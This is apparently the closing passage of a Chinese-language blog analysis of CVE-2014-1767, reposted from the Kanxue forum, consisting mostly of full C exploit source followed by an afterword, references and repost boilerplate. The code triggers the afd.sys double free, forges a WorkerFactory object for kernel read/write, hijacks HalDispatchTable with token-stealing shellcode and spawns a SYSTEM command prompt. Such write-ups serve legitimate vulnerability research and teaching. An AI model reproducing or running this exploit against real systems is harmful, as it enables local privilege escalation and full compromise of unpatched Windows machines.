#include <stdio.h> #include <windows.h>  #pragma comment(lib,"Ws2_32.lib")  #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L)  typedef NTSTATUS(__stdcall* __NtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T); typedef NTSTATUS(__stdcall* __NtQueryEaFile)(HANDLE, PVOID, PVOID, ULONG, BOOLEAN, PVOID, ULONG, PULONG, BOOLEAN); typedef NTSTATUS(__stdcall* __NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG); typedef NTSTATUS(__stdcall* __NtSetInformationWorkerFactory)(HANDLE, ULONG, PVOID, ULONG); typedef NTSTATUS(__stdcall* __NtQueryIntervalProfile)(DWORD, PULONG); typedef NTSTATUS(__stdcall* __PsLookupProcessByProcessId)(DWORD, LPVOID*); typedef NTSTATUS(__stdcall* __NtQueryInformationWorkerFactory)(HANDLE, LONG, PVOID, ULONG, PULONG);   typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {     HANDLE Section;     PVOID  MappedBase;     PVOID  Base;     ULONG  Size;     ULONG  Flags;     USHORT LoadOrderIndex;     USHORT InitOrderIndex;     USHORT LoadCount;     USHORT OffsetToFileName;     CHAR   ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;  typedef struct _SYSTEM_MODULE_INFORMATION {     ULONG Count;     SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;  typedef struct _IO_STATUS_BLOCK {     union {         NTSTATUS Status;         PVOID    Pointer;     };     ULONG_PTR Information; } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;   __NtCreateWorkerFactory                MyNtCreateWorkerFactory = NULL; __NtQueryEaFile                        MyNtQueryEaFile = NULL; __NtQuerySystemInformation            MyNtQuerySystemInformation = NULL; __NtSetInformationWorkerFactory        MyNtSetInformationWorkerFactory = NULL; __NtQueryIntervalProfile            MyNtQueryIntervalProfile = NULL; __PsLookupProcessByProcessId        MyPsLookupProcessByProcessId = NULL; __NtQueryInformationWorkerFactory    MyNtQueryInformationWorkerFactory = NULL;  DWORD MyHalDispatchTable = NULL; DWORD oldHaliQuerySystemInformation = NULL; HANDLE hWorkerFactory = NULL; typedef DWORD PEPROCESS;   DWORD GetFuncAddr() {     //获取ntdll中的导出函数     HMODULE hNtdll;     hNtdll = GetModuleHandle("ntdll.dll");     if (hNtdll == NULL)     {         printf("GetModuleHandle Failed %pn", GetLastError());         return 0;     }      MyNtCreateWorkerFactory = GetProcAddress(hNtdll, "NtCreateWorkerFactory");     MyNtQueryEaFile = GetProcAddress(hNtdll, "NtQueryEaFile");     MyNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");     MyNtSetInformationWorkerFactory = GetProcAddress(hNtdll, "NtSetInformationWorkerFactory");     MyNtQueryIntervalProfile = GetProcAddress(hNtdll, "NtQueryIntervalProfile");     MyNtQueryInformationWorkerFactory = GetProcAddress(hNtdll, "ZwQueryInformationWorkerFactory");      if (!MyNtCreateWorkerFactory || !MyNtQueryEaFile || !MyNtQuerySystemInformation || !MyNtSetInformationWorkerFactory ||         !MyNtQueryIntervalProfile || !MyNtQueryInformationWorkerFactory)     {         printf("GetProcAddress Failed %pn", GetLastError());         return 0;     }      //获取nt基址PsLookupProcessByProcessId与HalDispatchTable地址     NTSTATUS Status;     DWORD cbNeed;      Status = MyNtQuerySystemInformation(11, NULL, 0, &cbNeed);     if (Status != STATUS_INFO_LENGTH_MISMATCH)     {         printf("MyNtQuerySystemInformation Failed %pn", Status);         return 0;     }     PSYSTEM_MODULE_INFORMATION Info = (PSYSTEM_MODULE_INFORMATION)malloc(cbNeed);      Status = MyNtQuerySystemInformation(11, Info, cbNeed, &cbNeed);     if (!NT_SUCCESS(Status))     {         printf("MyNtQuerySystemInformation Failed %pn", Status);         return 0;     }      DWORD Ntbase = Info->Module[0].Base;     HMODULE Mynt = LoadLibrary(Info->Module[0].ImageName + Info->Module[0].OffsetToFileName);     if (Mynt == NULL)     {         printf("LoadLibrary Nt Failedn" );         return 0;     }      MyHalDispatchTable = (ULONG)GetProcAddress(Mynt, "HalDispatchTable") - (ULONG)Mynt + Ntbase;     if (MyHalDispatchTable == NULL)     {         printf("Get HalDispatchTable Failed %pn", GetLastError());         return 0;     }      MyPsLookupProcessByProcessId = (ULONG)GetProcAddress(Mynt, "PsLookupProcessByProcessId") - (ULONG)Mynt + Ntbase;     if (MyPsLookupProcessByProcessId == NULL)     {         printf("Get PsLookupProcessByProcessId  Failed %pn", GetLastError());         return 0;     }      return 1; }   NTSTATUS __stdcall Shellcode(int a,int b,int c,int d) {     //获取自己和系统进程的EPROCESS     PEPROCESS pCur, pSys;     DWORD ObjTable;     MyPsLookupProcessByProcessId(GetCurrentProcessId(), &pCur);     MyPsLookupProcessByProcessId(4, &pSys);      //提权 0xF8为token位置     *(DWORD*)(pCur + 0xF8) = *(DWORD*)(pSys + 0xF8);      //绕过清理句柄     ObjTable = *(DWORD*)(pCur + 0xF4);     *(DWORD*)(ObjTable + 0x30) -= 1;     ObjTable = *(DWORD*)ObjTable;     *(DWORD*)(ObjTable + ((DWORD)hWorkerFactory * 2)) = 0;      //恢复Hook     *(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation;      return 0; }  int main(int argc, char** argv) {     //获取需要的所有地址     if (!GetFuncAddr())     {         printf("GetFuncAddr Failed n");         return 0;     }      DWORD mdlSize = 0xA0;     DWORD virtualAddress = 0x710DDDD;     DWORD length = 0x1F224;       //这里初始化第一次IO控制的inputbuf  以达到第一次释放的目标     static BYTE inbuf1[0x30];     memset(inbuf1, 0, sizeof(inbuf1));     *(ULONG*)(inbuf1 + 0x18) = virtualAddress;     *(ULONG*)(inbuf1 + 0x1C) = length;     *(ULONG*)(inbuf1 + 0x28) = 1;      //这里初始化第二次IO控制的inputbuf  以到达第二次释放的目标     static BYTE inbuf2[0x10];     memset(inbuf2, 0, sizeof(inbuf2));     *(ULONG*)inbuf2 = 1;     *(ULONG*)(inbuf2 + 4) = 0x0AAAAAAA;      WSADATA         WSAData;     SOCKET         s;     SOCKADDR_IN  sa;     int             ierr;      WSAStartup(0x2, &WSAData);     s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);      memset(&sa, 0, sizeof(sa));     sa.sin_port = htons(135);     sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");     sa.sin_family = AF_INET;     //创建会调用到afd.sys漏洞函数的socket句柄     ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));      // 释放第一次申请的mdl结构,大小为0xA0     DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL);      // 创建一个 WorkerFactory Object 来占坑释放的 mdl 0xA0 的空间     HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);      //创建WorkerFactory对象     DebugBreak();     DWORD Status = MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);      // 第二次释放  释放掉的内存是 WorkerFactory Object     DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);      //开始操作WorkerFactory Object     BYTE WorkerFactory[0xA0] = { 0 };      //申请的时候把对象前0x28字节复制过来 Handle置为NULL     BYTE ObjHead[0x28] = {        0x00, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x00, 0x00,                                    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,                                  0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,                                  0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x08, 0x00,                                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };      memcpy(WorkerFactory, ObjHead, 0x28);      //任意读的地址  *(*(obj+0x64)+0xB4) = MyHalDispatchTable + 4     PBYTE pObj = WorkerFactory + 0x28;     *(DWORD*)(pObj + 0x64) = MyHalDispatchTable - 0xB4 + 4;      //任意写   把 *arg3 的内容 写入到  *( *(*object+0x10)+0x1C )     //*(*object+0x10)+0x1C = MyHalDispatchTable + 4     //因为 *object 所以没办法在本对象内构造数据      //所以需要另一个内存来构造数据     BYTE y[0x14] = { 0 };     *(DWORD*)pObj = (DWORD)y;     PBYTE py = y;     //现在有一个内存y    *(y + 0x10) + 0x1C = MyHalDispatchTable + 4     //所以 *(y+0x10) = MyHalDispatchTable + 4 - 0x1C  即可     *(DWORD*)(py + 0x10) = MyHalDispatchTable + 4 - 0x1C;      //现在把伪造的对象拷贝到释放掉的内存     IO_STATUS_BLOCK IoStatus;     MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0);      //读 oldHaliQuerySystemInformation     //内核会返回0x60自己的数据  需要的数据被放在  kernelRetMem+0x50     BYTE kernelRetMem[0x60] = { 0 };     MyNtQueryInformationWorkerFactory(hWorkerFactory, 7, kernelRetMem, 0x60, NULL);     oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50);      //写shellcode地址到HalDispatchTable + 4     DWORD scAddr = (DWORD)Shellcode;     MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4);      //调用shellcode     DWORD Interval;     MyNtQueryIntervalProfile(2, &Interval);      //提权后创建一个system权限的cmd     ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);      system("pause");     return 0; }




写在最后

其实这篇文章今年3月份的时候就已经开始写了, 期间因为手头的事情太多, 中间搁置了好长一段时间。后来发现近期又有好几篇这个漏洞的分析文章,于是就又捡起来写完, 算是凑个热闹。


写作过程中参考了很多前辈的文章, 也引用了部分前人的分析成果。本文涉及到的afd.idb、Exploit.c、Poc.c均已上传到Github参考3。

最后, 希望自己能够勤勉有加, 多做一些有意义的事情。



参考


Pwn2Own_2014_AFD.sys_privilege_escalation

https://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf


震惊!万字长文详解CVE-2014-1767提权漏洞分析与利用(x86x64)

https://bbs.pediy.com/thread-272868.htm#msg_header_h1_8


本文涉及到的文件

https://github.com/Hacksign/Articles/tree/main/Exploit/CVE-2014-1767

CVE-2014-1767 分析报告


看雪ID:Hacksign

https://bbs.kanxue.com/user-home-156241.htm

*本文由看雪论坛 Hacksign 原创,转载请注明来自看雪社区

CVE-2014-1767 分析报告

# 往期推荐

1、Realworld CTF 2023 ChatUWU 详解

2、安卓协议逆向 cxdx 分析与实现

3、Kernel PWN从入门到提升

4、Kernel PWN-开启smap保护的babydrive

5、【详解】CTFHUB-FastBin Attack

6、Relocate、PLT、GOT And Lazy Binding

CVE-2014-1767 分析报告

CVE-2014-1767 分析报告

球分享

CVE-2014-1767 分析报告

球点赞

CVE-2014-1767 分析报告

球在看

CVE-2014-1767 分析报告

点击“阅读原文”,了解更多!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月27日07:56:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2014-1767 分析报告http://cn-sec.com/archives/1629985.html

发表评论

匿名网友 填写信息